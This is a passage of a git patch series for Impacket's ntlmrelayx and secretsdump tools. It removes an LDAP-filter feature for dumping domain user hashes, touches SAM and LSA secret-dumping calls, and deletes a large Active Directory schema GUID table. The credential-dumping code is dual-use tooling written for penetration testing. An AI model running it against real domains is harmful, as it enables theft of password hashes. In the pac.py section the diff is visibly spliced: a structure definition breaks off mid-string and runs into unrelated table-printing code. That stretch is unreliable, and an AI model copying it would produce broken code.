remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() - samHashes.export(outfile) - LOG.info("Done dumping SAM hashes for host: %s", remote_host) - SECURITYFileName = remoteOps.saveSECURITY() - LSASecrets = LSASecrets(SECURITYFileName, bootKey, remoteOps=remoteOps, isRemote= True, history=False) - LSASecrets.dumpCachedHashes() - LSASecrets.exportCached(outfile) - LSASecrets.dumpSecrets() - LSASecrets.exportSecrets(outfile) - LOG.info("Done dumping LSA hashes for host: %s", remote_host) + samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') + LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception as e: LOG.error(str(e)) finally: diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index 6bac447abd..8ab0fa6206 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -326,40 +326,6 @@ def sendNegotiate(self, negotiateMessage): else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) - from impacket.ntlm import AV_PAIRS, NTLMSSP_AV_HOSTNAME, NTLMSSP_AV_DOMAINNAME, NTLMSSP_AV_DNS_DOMAINNAME, NTLMSSP_AV_DNS_HOSTNAME - if challenge['TargetInfoFields_len'] > 0: - av_pairs = AV_PAIRS(challenge['TargetInfoFields'][:challenge['TargetInfoFields_len']]) - if av_pairs[NTLMSSP_AV_HOSTNAME] is not None: - try: - self.sessionData['ServerName'] = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') - except: - # For some reason, we couldn't decode Unicode here.. silently discard the operation - pass - if av_pairs[NTLMSSP_AV_DOMAINNAME] is not None: - try: - if self.sessionData['ServerName'] != av_pairs[NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le'): - self.sessionData['ServerDomain'] = av_pairs[NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le') - except: - # For some reason, we couldn't decode Unicode here.. silently discard the operation - pass - if av_pairs[NTLMSSP_AV_DNS_DOMAINNAME] is not None: - try: - self.sessionData['ServerDNSDomainName'] = av_pairs[NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le') - except: - # For some reason, we couldn't decode Unicode here.. silently discard the operation - pass - - if av_pairs[NTLMSSP_AV_DNS_HOSTNAME] is not None: - try: - self.sessionData['ServerDNSHostName'] = av_pairs[NTLMSSP_AV_DNS_HOSTNAME][1].decode('utf-16le') - except: - # For some reason, we couldn't decode Unicode here.. silently discard the operation - pass - - self.session._SMBConnection._SMB__server_name = self.sessionData['ServerName'] - self.session._SMBConnection._SMB__server_dns_domain_name = self.sessionData['ServerDNSDomainName'] - self.session._SMBConnection._SMB__server_domain = self.sessionData['ServerDomain'] - self.negotiateMessage = negotiateMessage self.challengeMessage = challenge.getData() diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 29f6d562f9..395381d733 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -171,7 +171,7 @@ def setDomainAccount(self, machineAccount, machineHashes, domainIp): def setRandomTargets(self, randomtargets): self.randomtargets = randomtargets - def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid, adddnsrecord): + def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid): self.dumpdomain = dumpdomain self.addda = addda self.aclattack = aclattack @@ -183,7 +183,6 @@ def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateus self.dumpgmsa = dumpgmsa self.dumpadcs = dumpadcs self.sid = sid - self.adddnsrecord = adddnsrecord def setMSSQLOptions(self, queries): self.queries = queries diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index abde3c1146..a665266411 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -66,8 +66,6 @@ from impacket import LOG from impacket import system_errors from impacket import winregistry, ntlm -from impacket.ldap.ldap import SimplePagedResultsControl, LDAPSearchError -from impacket.ldap.ldapasn1 import SearchResultEntry from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE @@ -366,11 +364,10 @@ def __str__(self): return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName) class RemoteOperations: - def __init__(self, smbConnection, doKerberos, kdcHost=None, ldapConnection=None): + def __init__(self, smbConnection, doKerberos, kdcHost=None): self.__smbConnection = smbConnection if self.__smbConnection is not None: self.__smbConnection.setTimeout(5*60) - self.__ldapConnection = ldapConnection self.__serviceName = 'RemoteRegistry' self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' self.__rrp = None @@ -629,38 +626,6 @@ def getMembersInAlias(self, rid): return resp - def getDomainUsersLDAP(self, searchFilter): - domainUsers = [] - if self.__ldapConnection is None: - LOG.error('Failed to establish LDAP connection, the user list will be empty') - return domainUsers - - try: - LOG.debug('Search Filter=%s' % searchFilter) - sc = SimplePagedResultsControl(size=100) - resp = self.__ldapConnection.search(searchFilter=searchFilter, attributes=['msDS-PrincipalName'], sizeLimit=0, searchControls=[sc]) - except LDAPSearchError: - raise - - self.__ldapConnection.close() - - for item in resp: - if isinstance(item, SearchResultEntry): - msDSPrincipalName = '' - try: - for attribute in item['attributes']: - if str(attribute['type']) == 'msDS-PrincipalName': - msDSPrincipalName = attribute['vals'][0].asOctets().decode('utf-8') - except Exception as e: - LOG.debug("Exception", exc_info=True) - LOG.error('Skipping item, cannot process due to error %s' % str(e)) - pass - else: - LOG.debug('DA msDS-PrincipalName: %s' % msDSPrincipalName) - domainUsers.append(msDSPrincipalName) - - return domainUsers - def getDomainSid(self): if self.__domainSid is not None: return self.__domainSid @@ -1961,7 +1926,7 @@ class CRYPTED_BLOB(Structure): def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None, - justUser=None, ldapFilter=None, printUserStatus=False, + justUser=None, printUserStatus=False, perSecretCallback = lambda secretType, secret : _print_helper(secret), resumeSessionMgr=ResumeSessionMgrInFile): self.__bootKey = bootKey @@ -1984,7 +1949,6 @@ def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=Tr self.__resumeSession = resumeSessionMgr(resumeSession) self.__outputFileName = outputFileName self.__justUser = justUser - self.__ldapFilter = ldapFilter self.__perSecretCallback = perSecretCallback # these are all the columns that we need to get the secrets. @@ -2477,7 +2441,7 @@ def dump(self): try: self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1]) except: - if os.getenv('KRB5CCNAME') is not None and (self.__justUser is not None or self.__ldapFilter is not None): + if os.getenv('KRB5CCNAME') is not None and self.__justUser is not None: # RemoteOperations failed. That might be because there was no way to log into the # target system. We just have a last resort. Hope we have tickets cached and that they # will work @@ -2568,8 +2532,8 @@ def dump(self): LOG.info('Resuming from SID %s, be patient' % resumeSid) else: resumeSid = None - # We do not create a resume file when asking for individual users - if self.__justUser is None and self.__ldapFilter is None: + # We do not create a resume file when asking for a single user + if self.__justUser is None: self.__resumeSession.beginTransaction() if self.__justUser is not None: @@ -2614,39 +2578,6 @@ def dump(self): LOG.error("Error while processing user!") LOG.debug("Exception", exc_info=True) LOG.error(str(e)) - elif self.__ldapFilter is not None: - resp = self.__remoteOps.getDomainUsersLDAP(self.__ldapFilter) - formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME - for user in resp: - crackedName = self.__remoteOps.DRSCrackNames(formatOffered, - drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, - name=user) - - if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: - if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: - raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[ - 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) - - userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) - #userRecord.dump() - replyVersion = 'V%d' % userRecord['pdwOutVersion'] - if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: - raise Exception('DRSGetNCChanges didn\'t return any object!') - else: - LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % ( - crackedName['pmsgOut']['V1']['pResult']['cItems'], user)) - try: - self.__decryptHash(userRecord, - userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], - hashesOutputFile) - if self.__justNTLM is False: - self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ - 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) - - except Exception as e: - LOG.error("Error while processing user %s!" % user) - LOG.debug("Exception", exc_info=True) - LOG.error(str(e)) else: while status == STATUS_MORE_ENTRIES: resp = self.__remoteOps.getDomainUsers(enumerationContext) @@ -2708,7 +2639,7 @@ def dump(self): # Everything went well and we covered all the users # Let's remove the resume file is we had created it - if self.__justUser is None and self.__ldapFilter is None: + if self.__justUser is None: self.__resumeSession.clearResumeData() LOG.debug("Finished processing and printing user's hashes, now printing supplemental information") diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index 4bf100c9f5..f01bc47f85 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -12,11 +12,10 @@ # Author: # Alberto Solino (@agsolino) # -from impacket.dcerpc.v5.dtypes import ULONG, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT, RPC_SID +from impacket.dcerpc.v5.dtypes import ULONG, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER from impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY from impacket.dcerpc.v5.rpcrt import TypeSerialization1 -from impacket.ldap.ldaptypes import LDAP_SID from impacket.structure import Structure ################################################################################ @@ -31,8 +30,6 @@ PAC_CLIENT_INFO_TYPE = 10 PAC_DELEGATION_INFO = 11 PAC_UPN_DNS_INFO = 12 -PAC_ATTRIBUTES_INFO = 17 -PAC_REQUESTOR_INFO = 18 ################################################################################ # STRUCTURES @@ -201,27 +198,12 @@ class S4U_DELEGATION_INFO(NDRSTRUCT): # 2.10 UPN_DNS_INFO class UPN_DNS_INFO(Structure): - structure = ( - ('UpnLength', ' col['minLenght']: - col['minLenght'] = len(str(row[col['Name']])) - if col['minLenght'] < col['Length']: - col['Length'] = col['minLenght'] - if len(col['Name']) > col['Length']: col['Length'] = len(col['Name']) elif col['Length'] > self.MAX_COL_LEN: @@ -1001,10 +992,11 @@ def printColumnsHeader(self): return for col in self.colMeta: self.__rowsPrinter.logMessage(col['Format'] % col['Name'] + self.COL_SEPARATOR) - self.__rowsPrinter.logMessage('\r') + self.__rowsPrinter.logMessage('\n') for col in self.colMeta: self.__rowsPrinter.logMessage('-'*col['Length'] + self.COL_SEPARATOR) - self.__rowsPrinter.logMessage('\r') + self.__rowsPrinter.logMessage('\n') + def printRows(self): if self.lastError is True: From ac8c0e95e62ae5fd1fc3a5b517fa50497c903c3a Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Mon, 11 Dec 2023 22:25:41 +0100 Subject: [PATCH 151/152] removed unneeded changes --- impacket/msada_guids.py | 1877 --------------------------------------- 1 file changed, 1877 deletions(-) delete mode 100644 impacket/msada_guids.py diff --git a/impacket/msada_guids.py b/impacket/msada_guids.py deleted file mode 100644 index 0d485fd972..0000000000 --- a/impacket/msada_guids.py +++ /dev/null @@ -1,1877 +0,0 @@ -# Impacket - Collection of Python classes for working with network protocols. -# -# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. -# -# This software is provided under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Authors: -# Charlie BROMBERG (@_nwodtuhs) -# Guillaume DAUMAS (@BlWasp_) -# Lucien DOUSTALY (@Wlayzz) -# -# References: -# MS-ADA1, MS-ADA2, MS-ADA3 Active Directory Schema Attributes and their GUID: -# - [MS-ADA1] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada1/19528560-f41e-4623-a406-dabcfff0660f -# - [MS-ADA2] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/e20ebc4e-5285-40ba-b3bd-ffcb81c2783e -# - [MS-ADA3] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada3/4517e835-3ee6-44d4-bb95-a94b6966bfb0 -# GUIDS gathered from (lots of cleaning made from that source, things may be missing): -# - https://www.powershellgallery.com/packages/SDDLParser/0.5.0/Content/SDDLParserADObjects.ps1 -# - -SCHEMA_OBJECTS = { - '2a132580-9373-11d1-aebc-0000f80367c1': 'FRS-Partner-Auth-Level', - '2a8c68fc-3a7a-4e87-8720-fe77c51cbe74': 'ms-DS-Non-Members-BL', - '963d2751-48be-11d1-a9c3-0000f80367c1': 'Mscope-Id', - 'bf967a0c-0de6-11d0-a285-00aa003049e2': 'Range-Lower', - '29259694-09e4-4237-9f72-9306ebe63ab2': 'ms-TS-Primary-Desktop', - '963d2756-48be-11d1-a9c3-0000f80367c1': 'DHCP-Class', - '1562a632-44b9-4a7e-a2d3-e426c96a3acc': 'ms-PKI-Private-Key-Recovery-Agent', - '2a132581-9373-11d1-aebc-0000f80367c1': 'FRS-Primary-Member', - '4b1cba4e-302f-4134-ac7c-f01f6c797843': 'ms-DS-Phonetic-First-Name', - '7bfdcb7d-4807-11d1-a9c3-0000f80367c1': 'Msi-File-List', - 'bf967a0d-0de6-11d0-a285-00aa003049e2': 'Range-Upper', - 'f63aa29a-bb31-48e1-bfab-0a6c5a1d39c2': 'ms-TS-Secondary-Desktops', - '5245801a-ca6a-11d0-afff-0000f80367c1': 'FRS-Replica-Set-GUID', - 'f217e4ec-0836-4b90-88af-2f5d4bbda2bc': 'ms-DS-Phonetic-Last-Name', - 'd9e18313-8939-11d1-aebc-0000f80367c1': 'Msi-Script', - 'bf967a0e-0de6-11d0-a285-00aa003049e2': 'RDN', - '9daadc18-40d1-4ed1-a2bf-6b9bf47d3daa': 'ms-TS-Primary-Desktop-BL', - 'e0fa1e8a-9b45-11d0-afdd-00c04fd930c9': 'Display-Specifier', - 'bf967aa8-0de6-11d0-a285-00aa003049e2': 'Print-Queue', - 'bf967a8f-0de6-11d0-a285-00aa003049e2': 'DMD', - '26d9736b-6070-11d1-a9c6-0000f80367c1': 'FRS-Replica-Set-Type', - '6cd53daf-003e-49e7-a702-6fa896e7a6ef': 'ms-DS-Phonetic-Department', - '96a7dd62-9118-11d1-aebc-0000f80367c1': 'Msi-Script-Name', - 'bf967a0f-0de6-11d0-a285-00aa003049e2': 'RDN-Att-ID', - '34b107af-a00a-455a-b139-dd1a1b12d8af': 'ms-TS-Secondary-Desktop-BL', - '1be8f174-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Root-Path', - '5bd5208d-e5f4-46ae-a514-543bc9c47659': 'ms-DS-Phonetic-Company-Name', - 'bf967937-0de6-11d0-a285-00aa003049e2': 'Msi-Script-Path', - 'bf967a10-0de6-11d0-a285-00aa003049e2': 'Registered-Address', - 'faaea977-9655-49d7-853d-f27bb7aaca0f': 'MS-TS-Property01', - '5fd4250c-1262-11d0-a060-00aa006c33ed': 'Display-Template', - '83cc7075-cca7-11d0-afff-0000f80367c1': 'Query-Policy', - '5a8b3261-c38d-11d1-bbc9-0080c76670c0': 'SubSchema', - '5245801f-ca6a-11d0-afff-0000f80367c1': 'FRS-Root-Security', - 'e21a94e4-2d66-4ce5-b30d-0ef87a776ff0': 'ms-DS-Phonetic-Display-Name', - '96a7dd63-9118-11d1-aebc-0000f80367c1': 'Msi-Script-Size', - 'bf967a12-0de6-11d0-a285-00aa003049e2': 'Remote-Server-Name', - '3586f6ac-51b7-4978-ab42-f936463198e7': 'MS-TS-Property02', - 'bf967915-0de6-11d0-a285-00aa003049e2': 'Account-Expires', - 'ddac0cee-af8f-11d0-afeb-00c04fd930c9': 'FRS-Service-Command', - 'def449f1-fd3b-4045-98cf-d9658da788b5': 'ms-DS-HAB-Seniority-Index', - '9a0dc326-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Authenticate', - 'bf967a14-0de6-11d0-a285-00aa003049e2': 'Remote-Source', - '70004ef5-25c3-446a-97c8-996ae8566776': 'MS-TS-ExpireDate', - 'bf967aa9-0de6-11d0-a285-00aa003049e2': 'Remote-Mail-Recipient', - 'bf967a80-0de6-11d0-a285-00aa003049e2': 'Attribute-Schema', - '2a132582-9373-11d1-aebc-0000f80367c1': 'FRS-Service-Command-Status', - 'c881b4e2-43c0-4ebe-b9bb-5250aa9b434c': 'ms-DS-Promotion-Settings', - '9a0dc323-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Base-Priority', - 'bf967a15-0de6-11d0-a285-00aa003049e2': 'Remote-Source-Type', - '54dfcf71-bc3f-4f0b-9d5a-4b2476bb8925': 'MS-TS-ExpireDate2', - 'e0fa1e8b-9b45-11d0-afdd-00c04fd930c9': 'Dns-Zone', - '031952ec-3b72-11d2-90cc-00c04fd91ab1': 'Account-Name-History', - '1be8f175-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Staging-Path', - '98a7f36d-3595-448a-9e6f-6b8965baed9c': 'ms-DS-SiteName', - '9a0dc32e-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Computer-Type', - '2a39c5b0-8960-11d1-aebc-0000f80367c1': 'Remote-Storage-GUID', - '41bc7f04-be72-4930-bd10-1f3439412387': 'MS-TS-ExpireDate3', - '2a39c5bd-8960-11d1-aebc-0000f80367c1': 'Remote-Storage-Service-Point', - '7f56127d-5301-11d1-a9c5-0000f80367c1': 'ACS-Aggregate-Token-Rate-Per-User', - '2a132583-9373-11d1-aebc-0000f80367c1': 'FRS-Time-Last-Command', - '20119867-1d04-4ab7-9371-cfc3d5df0afd': 'ms-DS-Supported-Encryption-Types', - '18120de8-f4c4-4341-bd95-32eb5bcf7c80': 'MSMQ-Computer-Type-Ex', - '281416c0-1968-11d0-a28f-00aa003049e2': 'Repl-Property-Meta-Data', - '5e11dc43-204a-4faf-a008-6863621c6f5f': 'MS-TS-ExpireDate4', - '39bad96d-c2d6-4baf-88ab-7e4207600117': 'document', - '7f561283-5301-11d1-a9c5-0000f80367c1': 'ACS-Allocable-RSVP-Bandwidth', - '2a132584-9373-11d1-aebc-0000f80367c1': 'FRS-Time-Last-Config-Change', - '29cc866e-49d3-4969-942e-1dbc0925d183': 'ms-DS-Trust-Forest-Trust-Info', - '9a0dc33a-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Cost', - '7bfdcb83-4807-11d1-a9c3-0000f80367c1': 'Repl-Topology-Stay-Of-Execution', - '0ae94a89-372f-4df2-ae8a-c64a2bc47278': 'MS-TS-LicenseVersion', - 'a8df74d6-c5ea-11d1-bbcb-0080c76670c0': 'Residential-Person', - '1cb355a1-56d0-11d1-a9c6-0000f80367c1': 'ACS-Cache-Timeout', - '1be8f172-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Update-Timeout', - '461744d7-f3b6-45ba-8753-fb9552a5df32': 'ms-DS-Tombstone-Quota-Factor', - '9a0dc334-c100-11d1-bbc5-0080c76670c0': 'MSMQ-CSP-Name', - 'bf967a16-0de6-11d0-a285-00aa003049e2': 'Repl-UpToDate-Vector', - '4b0df103-8d97-45d9-ad69-85c3080ba4e7': 'MS-TS-LicenseVersion2', - '7a2be07c-302f-4b96-bc90-0795d66885f8': 'documentSeries', - '7f56127a-5301-11d1-a9c5-0000f80367c1': 'ACS-Direction', - '2a132585-9373-11d1-aebc-0000f80367c1': 'FRS-Version', - '7b7cce4f-f1f5-4bb6-b7eb-23504af19e75': 'ms-DS-Top-Quota-Usage', - '2df90d83-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Dependent-Client-Service', - 'bf967a18-0de6-11d0-a285-00aa003049e2': 'Replica-Source', - 'f8ba8f81-4cab-4973-a3c8-3a6da62a5e31': 'MS-TS-LicenseVersion3', - '19195a5a-6da0-11d0-afd3-00c04fd930c9': 'Domain', - 'b93e3a78-cbae-485e-a07b-5ef4ae505686': 'rFC822LocalPart', - '1cb355a0-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-DeadTime', - '26d9736c-6070-11d1-a9c6-0000f80367c1': 'FRS-Version-GUID', - 'd064fb68-1480-11d3-91c1-0000f87a57d4': 'MS-DS-Machine-Account-Quota', - '2df90d76-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Dependent-Client-Services', - 'bf967a1c-0de6-11d0-a285-00aa003049e2': 'Reports', - '70ca5d97-2304-490a-8a27-52678c8d2095': 'MS-TS-LicenseVersion4', - '19195a5b-6da0-11d0-afd3-00c04fd930c9': 'Domain-DNS', - '1cb3559e-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-Priority', - '1be8f173-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Working-Path', - '638ec2e8-22e7-409c-85d2-11b21bee72de': 'ms-DS-Object-Reference', - '9a0dc33c-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Digests', - '45ba9d1a-56fa-11d2-90d0-00c04fd91ab1': 'Repl-Interval', - 'f3bcc547-85b0-432c-9ac0-304506bf2c83': 'MS-TS-ManagingLS', - '6617188d-8f3c-11d0-afda-00c04fd930c9': 'RID-Manager', - '1cb3559f-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-Refresh', - '66171887-8f3c-11d0-afda-00c04fd930c9': 'FSMO-Role-Owner', - '2b702515-c1f7-4b3b-b148-c0e4c6ceecb4': 'ms-DS-Object-Reference-BL', - '0f71d8e0-da3b-11d1-90a5-00c04fd91ab1': 'MSMQ-Digests-Mig', - 'bf967a1d-0de6-11d0-a285-00aa003049e2': 'Reps-From', - '349f0757-51bd-4fc8-9d66-3eceea8a25be': 'MS-TS-ManagingLS2', - 'bf967a99-0de6-11d0-a285-00aa003049e2': 'Domain-Policy', - '7f561287-5301-11d1-a9c5-0000f80367c1': 'ACS-Enable-ACS-Service', - '5fd424a1-1262-11d0-a060-00aa006c33ed': 'Garbage-Coll-Period', - '93f701be-fa4c-43b6-bc2f-4dbea718ffab': 'ms-DS-Operations-For-Az-Role', - '2df90d82-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Ds-Service', - 'bf967a1e-0de6-11d0-a285-00aa003049e2': 'Reps-To', - 'fad5dcc1-2130-4c87-a118-75322cd67050': 'MS-TS-ManagingLS3', - '7bfdcb89-4807-11d1-a9c3-0000f80367c1': 'RID-Set', - 'f072230e-aef5-11d1-bdcf-0000f80367c1': 'ACS-Enable-RSVP-Accounting', - 'bf96797a-0de6-11d0-a285-00aa003049e2': 'Generated-Connection', - 'f85b6228-3734-4525-b6b7-3f3bb220902c': 'ms-DS-Operations-For-Az-Role-BL', - '2df90d78-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Ds-Services', - '7d6c0e93-7e20-11d0-afd6-00c04fd930c9': 'Required-Categories', - 'f7a3b6a0-2107-4140-b306-75cb521731e5': 'MS-TS-ManagingLS4', - '8bfd2d3d-efda-4549-852c-f85e137aedc6': 'domainRelatedObject', - '7f561285-5301-11d1-a9c5-0000f80367c1': 'ACS-Enable-RSVP-Message-Logging', - '16775804-47f3-11d1-a9c3-0000f80367c1': 'Generation-Qualifier', - '1aacb436-2e9d-44a9-9298-ce4debeb6ebf': 'ms-DS-Operations-For-Az-Task', - '9a0dc331-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Encrypt-Key', - '7bfdcb7f-4807-11d1-a9c3-0000f80367c1': 'Retired-Repl-DSA-Signatures', - '87e53590-971d-4a52-955b-4794d15a84ae': 'MS-TSLS-Property01', - '7860e5d2-c8b0-4cbb-bd45-d9455beb9206': 'room', - 'eded5844-b3c3-41c3-a9e6-8984b52b7f98': 'ms-Org-Group-Subtype-Name', - '7f561286-5301-11d1-a9c5-0000f80367c1': 'ACS-Event-Log-Level', - 'f0f8ff8e-1191-11d0-a060-00aa006c33ed': 'Given-Name', - 'a637d211-5739-4ed1-89b2-88974548bc59': 'ms-DS-Operations-For-Az-Task-BL', - '9a0dc32f-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Foreign', - 'b7c69e6d-2cc7-11d2-854e-00a0c983f608': 'Token-Groups', - '47c77bb0-316e-4e2f-97f1-0d4c48fca9dd': 'MS-TSLS-Property02', - '09b10f14-6f93-11d2-9905-0000f87a57d4': 'DS-UI-Settings', - '49b7560b-4707-4aa0-a27c-e17a09ca3f97': 'ms-Org-Is-Organizational-Group', - 'dab029b6-ddf7-11d1-90a5-00c04fd91ab1': 'ACS-Identity-Name', - 'f754c748-06f4-11d2-aa53-00c04fd7d83a': 'Global-Address-List', - '79d2f34c-9d7d-42bb-838f-866b3e4400e2': 'ms-DS-Other-Settings', - '9a0dc32c-c100-11d1-bbc5-0080c76670c0': 'MSMQ-In-Routing-Servers', - '46a9b11d-60ae-405a-b7e8-ff8a58d456d2': 'Token-Groups-Global-And-Universal', - '6a84ede5-741e-43fd-9dd6-aa0f61578621': 'ms-DFSR-DisablePacketPrivacy', - '80212842-4bdc-11d1-a9c4-0000f80367c1': 'Rpc-Container', - '8f905f24-a413-435a-8ed1-35385ec179f7': 'ms-Org-Other-Display-Names', - 'f072230c-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-Aggregate-Peak-Rate-Per-User', - 'bf96797d-0de6-11d0-a285-00aa003049e2': 'Governs-ID', - '564e9325-d057-c143-9e3b-4f9e5ef46f93': 'ms-DS-Principal-Name', - '8ea825aa-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Interval1', - '040fc392-33df-11d2-98b2-0000f87a57d4': 'Token-Groups-No-GC-Acceptable', - '87811bd5-cd8b-45cb-9f5d-980f3a9e0c97': 'ms-DFSR-DefaultCompressionExclusionFilter', - '3fdfee52-47f4-11d1-a9c3-0000f80367c1': 'DSA', - 'ee5b6790-3358-41a8-93f2-134ce21f3813': 'ms-Org-Leaders', - '7f56127e-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Duration-Per-Flow', - 'f30e3bbe-9ff0-11d1-b603-0000f80367c1': 'GP-Link', - 'fbb9a00d-3a8c-4233-9cf9-7189264903a1': 'ms-DS-Quota-Amount', - '99b88f52-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Interval2', - 'bf967a21-0de6-11d0-a285-00aa003049e2': 'Revision', - 'a68359dc-a581-4ee6-9015-5382c60f0fb4': 'ms-DFSR-OnDemandExclusionFileFilter', - 'bf967aac-0de6-11d0-a285-00aa003049e2': 'rpc-Entry', - 'afa58eed-a698-417e-9f56-fad54252c5f4': 'ms-Org-Leaders-BL', - 'f0722310-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-No-Of-Account-Files', - 'f30e3bbf-9ff0-11d1-b603-0000f80367c1': 'GP-Options', - '6655b152-101c-48b4-b347-e1fcebc60157': 'ms-DS-Quota-Effective', - '9a0dc321-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Journal', - 'bf967a22-0de6-11d0-a285-00aa003049e2': 'Rid', - '7d523aff-9012-49b2-9925-f922a0018656': 'ms-DFSR-OnDemandExclusionDirectoryFilter', - '66d51249-3355-4c1f-b24e-81f252aca23b': 'Dynamic-Object', - '1cb3559c-56d0-11d1-a9c6-0000f80367c1': 'ACS-Max-No-Of-Log-Files', - 'f30e3bc1-9ff0-11d1-b603-0000f80367c1': 'GPC-File-Sys-Path', - '16378906-4ea5-49be-a8d1-bfd41dff4f65': 'ms-DS-Quota-Trustee', - '9a0dc324-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Journal-Quota', - '66171889-8f3c-11d0-afda-00c04fd930c9': 'RID-Allocation-Pool', - '11e24318-4ca6-4f49-9afe-e5eb1afa3473': 'ms-DFSR-Options2', - '88611bdf-8cf4-11d0-afda-00c04fd930c9': 'rpc-Group', - '7f561284-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Peak-Bandwidth', - 'f30e3bc0-9ff0-11d1-b603-0000f80367c1': 'GPC-Functionality-Version', - 'b5a84308-615d-4bb7-b05f-2f1746aa439f': 'ms-DS-Quota-Used', - '9a0dc325-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Label', - '66171888-8f3c-11d0-afda-00c04fd930c9': 'RID-Available-Pool', - '936eac41-d257-4bb9-bd55-f310a3cf09ad': 'ms-DFSR-CommonStagingPath', - 'dd712229-10e4-11d0-a05f-00aa006c33ed': 'File-Link-Tracking', - '7f56127c-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Peak-Bandwidth-Per-Flow', - '32ff8ecc-783f-11d2-9916-0000f87a57d4': 'GPC-Machine-Extension-Names', - '8a167ce4-f9e8-47eb-8d78-f7fe80abb2cc': 'ms-DS-NC-Repl-Cursors', - '4580ad25-d407-48d2-ad24-43e6e56793d7': 'MSMQ-Label-Ex', - '66171886-8f3c-11d0-afda-00c04fd930c9': 'RID-Manager-Reference', - 